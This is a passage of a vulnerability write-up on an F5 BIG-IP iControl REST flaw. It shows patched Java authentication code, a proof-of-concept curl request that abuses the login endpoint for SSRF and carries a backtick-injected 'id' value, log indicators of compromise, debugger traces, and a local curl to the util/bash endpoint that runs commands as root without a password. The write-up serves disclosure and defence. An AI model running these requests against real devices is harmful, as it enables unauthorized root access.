+      request.setIdentityData(components.userName, null, null);
+      if (runnable != null) {
+        runnable.run();
+      }
+      return true;
+    }
+
+
+    if (!PasswordUtil.isPasswordReset().booleanValue()) {
+      request.setIdentityData(components.userName, null, null);
+      if (runnable != null) {
+        runnable.run();
+      }
+      return true;
+    }
+
+    AuthProviderLoginState loginState = new AuthProviderLoginState();
+    loginState.username = components.userName;
+    loginState.password = components.password;
+    loginState.address = request.getRemoteSender();
+    RestRequestCompletion authCompletion = new RestRequestCompletion()
+      {
+        public void completed(RestOperation subRequest) {
+          request.setIdentityData(components.userName, null, null);
+          if (runnable != null) {
+            runnable.run();
+          }
+        }
+
+
+        public void failed(Exception ex, RestOperation subRequest) {
+          RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new
Object[] { ex.getMessage() });
+          if (ex.getMessage().contains("Password expired")) {
+            request.fail(new
SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
+          }
+          if (runnable != null) {
```

```
+             runnable.run();
+           }
+         }
+       };
+
+     try {
+       RestOperation subRequest =
RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new
URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH),
null)).setCompletion(authCompletion);
+
+
+       RestRequestSender.sendPost(subRequest);
+     } catch (URISyntaxException e) {
+       LOGGER.warningFmt("ERROR: URISyntaxException %s", new Object[] {
e.getMessage() });
+     }
     return true;
   }
 }
[snip]
```

PoC

The affected endpoint is `/mgmt/shared/authn/login`.

```
wvu@kharak:~$ curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d
'{"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/b
undle-install-tasks"},"filePath":"`id`"}' | jq .
{
  "code": 400,
  "message": "request failed with null exception",
  "referer": "192.168.123.1",
  "restOperationId": 4483409,
  "kind": ":resterrorresponse"
}
wvu@kharak:~$
```

The `filePath` parameter is cleared from the request, rendering the RCE endpoint unusable with the SSRF.

```
[pid 70562] execve("/bin/tar", ["tar", "-xvf", "/var/apm/f5-iappslx-agc-usecase-
pack/f5-iappslx-agc-usecase-pack-7.0-0.0.1481.tar.gz", "--directory",
"/var/config/rest/downloads/"], [/* 9 vars */]) = 0
```

IOCs

Errors may be seen in `/var/log/restjavad.0.log`. This log file is rotated.

```
[F][11000][16 Mar 2021 21:41:58 UTC][8100/shared/authn/login AuthnWorker] User
null successfully logged in from 192.168.123.1 using the
http://localhost/mgmt/tm/access/bundle-install-tasks authentication provider.
[F][11014][16 Mar 2021 21:41:58 UTC][RestOperation] Cleared the request content
for key originalRequestBody
[WARNING][11019][16 Mar 2021 21:41:58 UTC][RestOperation] Unable to generate error
body for POST http://localhost:8100/shared/authz/tokens 400:
java.util.ConcurrentModificationException
        at
com.google.gson.internal.LinkedTreeMap$LinkedTreeMapIterator.nextNode(LinkedTreeMa
p.java:544)
```

```
        at
com.google.gson.internal.LinkedTreeMap$EntrySet$1.next(LinkedTreeMap.java:568)
        at
com.google.gson.internal.LinkedTreeMap$EntrySet$1.next(LinkedTreeMap.java:566)
        at com.f5.rest.common.RestOperation.fail(RestOperation.java:2458)
        at com.f5.rest.common.RestOperation.fail(RestOperation.java:2406)
        at
com.f5.rest.workers.AuthTokenWorker.addOrUpdateAuthToken(AuthTokenWorker.java:337)
        at com.f5.rest.workers.AuthTokenWorker.onPost(AuthTokenWorker.java:291)
        at
com.f5.rest.common.RestCollectionWorker.callDerivedRestMethod(RestCollectionWorker
.java:937)
        at
com.f5.rest.common.RestWorker.callRestMethodHandler(RestWorker.java:1190)
        at
com.f5.rest.common.RestServer.processQueuedRequests(RestServer.java:1207)
        at com.f5.rest.common.RestServer.access$000(RestServer.java:44)
        at com.f5.rest.common.RestServer$1.run(RestServer.java:285)
        at
java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:473)
        at java.util.concurrent.FutureTask.run(FutureTask.java:262)
        at
java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(Sc
heduledThreadPoolExecutor.java:178)
        at
java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(Scheduled
ThreadPoolExecutor.java:292)
        at
java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152)
        at
java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622)
        at java.lang.Thread.run(Thread.java:748)

[F][11023][16 Mar 2021 21:41:58 UTC][RestOperation] Cleared the request content
for key originalRequestBody
[WARNING][11026][16 Mar 2021 21:41:58 UTC][RestOperation] Unable to generate error
body for POST http://localhost:8100/shared/authn/login 400:
java.util.ConcurrentModificationException
        at
com.google.gson.internal.LinkedTreeMap$LinkedTreeMapIterator.nextNode(LinkedTreeMa
p.java:544)
        at
com.google.gson.internal.LinkedTreeMap$EntrySet$1.next(LinkedTreeMap.java:568)
        at
com.google.gson.internal.LinkedTreeMap$EntrySet$1.next(LinkedTreeMap.java:566)
        at com.f5.rest.common.RestOperation.fail(RestOperation.java:2458)
        at com.f5.rest.common.RestOperation.fail(RestOperation.java:2406)
        at com.f5.rest.workers.authn.AuthnWorker$8.failed(AuthnWorker.java:533)
        at com.f5.rest.workers.authn.AuthnWorker$8.failed(AuthnWorker.java:529)
        at com.f5.rest.common.RestOperation.fail(RestOperation.java:2486)
        at com.f5.rest.common.RestOperation.fail(RestOperation.java:2406)
        at com.f5.rest.common.RestWorker$5.failed(RestWorker.java:865)
        at com.f5.rest.common.RestWorker$5.failed(RestWorker.java:850)
        at com.f5.rest.common.RestOperation.fail(RestOperation.java:2486)
        at com.f5.rest.common.RestOperation.fail(RestOperation.java:2406)
        at
com.f5.rest.workers.AuthTokenWorker.addOrUpdateAuthToken(AuthTokenWorker.java:337)
        at com.f5.rest.workers.AuthTokenWorker.onPost(AuthTokenWorker.java:291)
        at
com.f5.rest.common.RestCollectionWorker.callDerivedRestMethod(RestCollectionWorker
.java:937)
        at
com.f5.rest.common.RestWorker.callRestMethodHandler(RestWorker.java:1190)
        at
com.f5.rest.common.RestServer.processQueuedRequests(RestServer.java:1207)
        at com.f5.rest.common.RestServer.access$000(RestServer.java:44)
        at com.f5.rest.common.RestServer$1.run(RestServer.java:285)
        at
java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:473)
        at java.util.concurrent.FutureTask.run(FutureTask.java:262)
        at
java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(Sc
heduledThreadPoolExecutor.java:178)
        at
java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(Scheduled
ThreadPoolExecutor.java:292)
        at
java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152)
        at
java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622)
        at java.lang.Thread.run(Thread.java:748)
```

Note the “successful” login from user `null`, which indicates token generation was triggered.

Analysis

This is what you really came here for.

Debugging

```
Breakpoint hit: "thread=qtp12784804-16 - /mgmt/shared/authn/login",
com.f5.rest.common.RestOperationIdentifier.setIdentityFromBasicAuth(), line=245
bci=11
245         AuthzHelper.BasicAuthComponents components =
AuthzHelper.decodeBasicAuth(authHeader);

qtp12784804-16 - /mgmt/shared/authn/login[1] where
  [1] com.f5.rest.common.RestOperationIdentifier.setIdentityFromBasicAuth
(RestOperationIdentifier.java:245)
  [2] com.f5.rest.common.RestOperationIdentifier.setIdentityFromAuthenticationData
(RestOperationIdentifier.java:52)
  [3] com.f5.rest.app.RestServerServlet$ReadListenerImpl.onAllDataRead
(RestServerServlet.java:136)
  [4] org.eclipse.jetty.server.HttpInput.run (HttpInput.java:443)
  [5] org.eclipse.jetty.server.handler.ContextHandler.handle
(ContextHandler.java:1,175)
  [6] org.eclipse.jetty.server.HttpChannel.handle (HttpChannel.java:355)
  [7] org.eclipse.jetty.server.HttpChannel.run (HttpChannel.java:262)
  [8] org.eclipse.jetty.util.thread.QueuedThreadPool.runJob
(QueuedThreadPool.java:635)
  [9] org.eclipse.jetty.util.thread.QueuedThreadPool$3.run
(QueuedThreadPool.java:555)
  [10] java.lang.Thread.run (Thread.java:748)
qtp12784804-16 - /mgmt/shared/authn/login[1] list
241         String authHeader = request.getBasicAuthorization();
242         if (authHeader == null) {
```

```
243          return false;
244        }
245 =>     AuthzHelper.BasicAuthComponents components =
AuthzHelper.decodeBasicAuth(authHeader);
246        request.setIdentityData(components.userName, null, null);
247        return true;
248      }
249    }
qtp12784804-16 - /mgmt/shared/authn/login[1] print authHeader
 authHeader = "Og=="
qtp12784804-16 - /mgmt/shared/authn/login[1] next
>
Step completed: "thread=qtp12784804-16 - /mgmt/shared/authn/login",
com.f5.rest.common.RestOperationIdentifier.setIdentityFromBasicAuth(), line=246
bci=16
246        request.setIdentityData(components.userName, null, null);

qtp12784804-16 - /mgmt/shared/authn/login[1] dump components
 components = {
    userName: null
    password: null
}
qtp12784804-16 - /mgmt/shared/authn/login[1] cont
>
Breakpoint hit: "thread=Non-Blocking threadPool_4",
com.f5.rest.workers.authn.AuthnWorker.onPost(), line=341 bci=141
341        request.setBody(state);

Non-Blocking threadPool_4[1] where
  [1] com.f5.rest.workers.authn.AuthnWorker.onPost (AuthnWorker.java:341)
  [2] com.f5.rest.common.RestWorker.callDerivedRestMethod (RestWorker.java:1,276)
  [3] com.f5.rest.common.RestWorker.callRestMethodHandler (RestWorker.java:1,190)
  [4] com.f5.rest.common.RestServer.processQueuedRequests (RestServer.java:1,207)
  [5] com.f5.rest.common.RestServer.access$000 (RestServer.java:44)
  [6] com.f5.rest.common.RestServer$1.run (RestServer.java:285)
  [7] java.util.concurrent.Executors$RunnableAdapter.call (Executors.java:473)
  [8] java.util.concurrent.FutureTask.run (FutureTask.java:262)
  [9]
java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201
(ScheduledThreadPoolExecutor.java:178)
  [10] java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run
(ScheduledThreadPoolExecutor.java:292)
  [11] java.util.concurrent.ThreadPoolExecutor.runWorker
(ThreadPoolExecutor.java:1,152)
  [12] java.util.concurrent.ThreadPoolExecutor$Worker.run
(ThreadPoolExecutor.java:622)
  [13] java.lang.Thread.run (Thread.java:748)
Non-Blocking threadPool_4[1] list
337          return;
338        }
339
340        state.password = null;
341 =>     request.setBody(state);
342
343
344
345        if (state.loginReference == null) {
346          if (state.loginProviderName == null) {
Non-Blocking threadPool_4[1] print request
```

```
 request = "[
 id=6146169
 referer=192.168.123.1
 uri=http://localhost:8100/shared/authn/login
 method=POST
 statusCode=200
 contentType=application/x-www-form-urlencoded
 contentLength=121
 contentRange=null
 deadline=Tue Mar 16 15:14:01 PDT 2021

body={"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/acce
ss/bundle-install-tasks"},"filePath":"`id`"}
 forceSocket=false
 isResponse=false
 retriesRemaining=5
 coordinationId=null
 isConnectionCloseRequested=false
 isConnectionKeepAlive=true
 isRestErrorResponseRequired=true
 AdditionalHeadersAsString=
  Request:   'Local-Ip-From-Httpd'='192.168.123.134'
   'X-Forwarded-Proto'='http'
   'X-Forwarded-Server'='localhost.localdomain'
   'X-F5-New-Authtok-Reqd'='false'
   'X-Forwarded-Host'='192.168.123.134'
  Response:<empty>
 ResponseHeadersTrace=
 X-F5-Config-Api-Status=0]"
Non-Blocking threadPool_4[1] next
>
Step completed: "thread=Non-Blocking threadPool_4",
com.f5.rest.workers.authn.AuthnWorker.onPost(), line=345 bci=147
345        if (state.loginReference == null) {

Non-Blocking threadPool_4[1] print request
 request = "[
 id=6146169
 referer=192.168.123.1
 uri=http://localhost:8100/shared/authn/login
 method=POST
 statusCode=200
 contentType=application/json
 contentLength=139
 contentRange=null
 deadline=Tue Mar 16 15:14:01 PDT 2021

body={"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/acce
ss/bundle-install-tasks"},"generation":0,"lastUpdateMicros":0}
 forceSocket=false
 isResponse=false
 retriesRemaining=5
 coordinationId=null
 isConnectionCloseRequested=false
 isConnectionKeepAlive=true
 isRestErrorResponseRequired=true
 AdditionalHeadersAsString=
  Request:   'Local-Ip-From-Httpd'='192.168.123.134'
   'X-Forwarded-Proto'='http'
   'X-Forwarded-Server'='localhost.localdomain'
   'X-F5-New-Authtok-Reqd'='false'
   'X-Forwarded-Host'='192.168.123.134'
  Response:<empty>
 ResponseHeadersTrace=
 X-F5-Config-Api-Status=0]"
Non-Blocking threadPool_4[1] cont
>
Breakpoint hit: "thread=Non-Blocking threadPool_4",
com.f5.rest.workers.authn.AuthnWorker.onPost(), line=506 bci=600
506         sendPost(checkAuth);

Non-Blocking threadPool_4[1] list
502
503         RestOperation checkAuth =
RestOperation.create().setBody(loginState).setUri(makeLocalUri(state.loginReferenc
e.link)).setCompletion(authCompletion);
504
505
506 =>      sendPost(checkAuth);
507       }
508
509
510
511
Non-Blocking threadPool_4[1] print checkAuth
 checkAuth = "[
 id=6146236
 referer=null
 uri=http://localhost:8100/tm/access/bundle-install-tasks
 method=null
 statusCode=200
 contentType=application/json
 contentLength=84
 contentRange=null
 deadline=Tue Mar 16 15:14:47 PDT 2021

body={"address":"192.168.123.1","bigipAuthCookie":"","generation":0,"lastUpdateMic
ros":0}
 forceSocket=false
 isResponse=false
 retriesRemaining=5
 coordinationId=null
 isConnectionCloseRequested=false
 isConnectionKeepAlive=true
 isRestErrorResponseRequired=true
 AdditionalHeadersAsString=
  Request:<empty>  Response:<empty>
 ResponseHeadersTrace=
 X-F5-Config-Api-Status=0]"
Non-Blocking threadPool_4[1] cont
>
```

Parameter allowlist

Allowed parameters are in
the `com.f5.rest.workers.authn.providers.AuthProviderLoginState` class.

```
package com.f5.rest.workers.authn.providers;
```

```
import com.f5.rest.common.RestReference;
import com.f5.rest.common.RestWorkerState;
import java.util.List;

public class AuthProviderLoginState extends RestWorkerState {
  public String username;

  public String password;

  public String address;

  public String bigipAuthCookie;

  public String authProviderName;

  public RestReference userReference;

  public List<RestReference> groupReferences;
}
```

This significantly limits the power of the SSRF, unfortunately. However, the fraudulent token generation should be investigated further. I have yet to find an endpoint that will respond affirmatively to the token generation.

No password?

I actually found this early on but didn't document it yet. Local requests to `restjavad` or `/usr/bin/icrd_child` don't require a password…

```
[root@localhost:NO LICENSE:Standalone] ~ # curl -su admin: -H "Content-Type:
application/json" http://localhost:8100/mgmt/tm/util/bash -d
'{"command":"run","utilCmdArgs":"-c id"}' | jq .
{
  "kind": "tm:util:bash:runstate",
  "command": "run",
  "utilCmdArgs": "-c id",
  "commandResult": "uid=0(root) gid=0(root) groups=0(root)
context=system_u:system_r:initrc_t:s0\n"
}
[root@localhost:NO LICENSE:Standalone] ~ #
```

This formed the basis for most of my SSRF attempts until I saw the parameter allowlist and noticed my `Authorization` header wasn't being passed through. :<

RCE update

Rich Warren has produced a full RCE chain using the SSRF!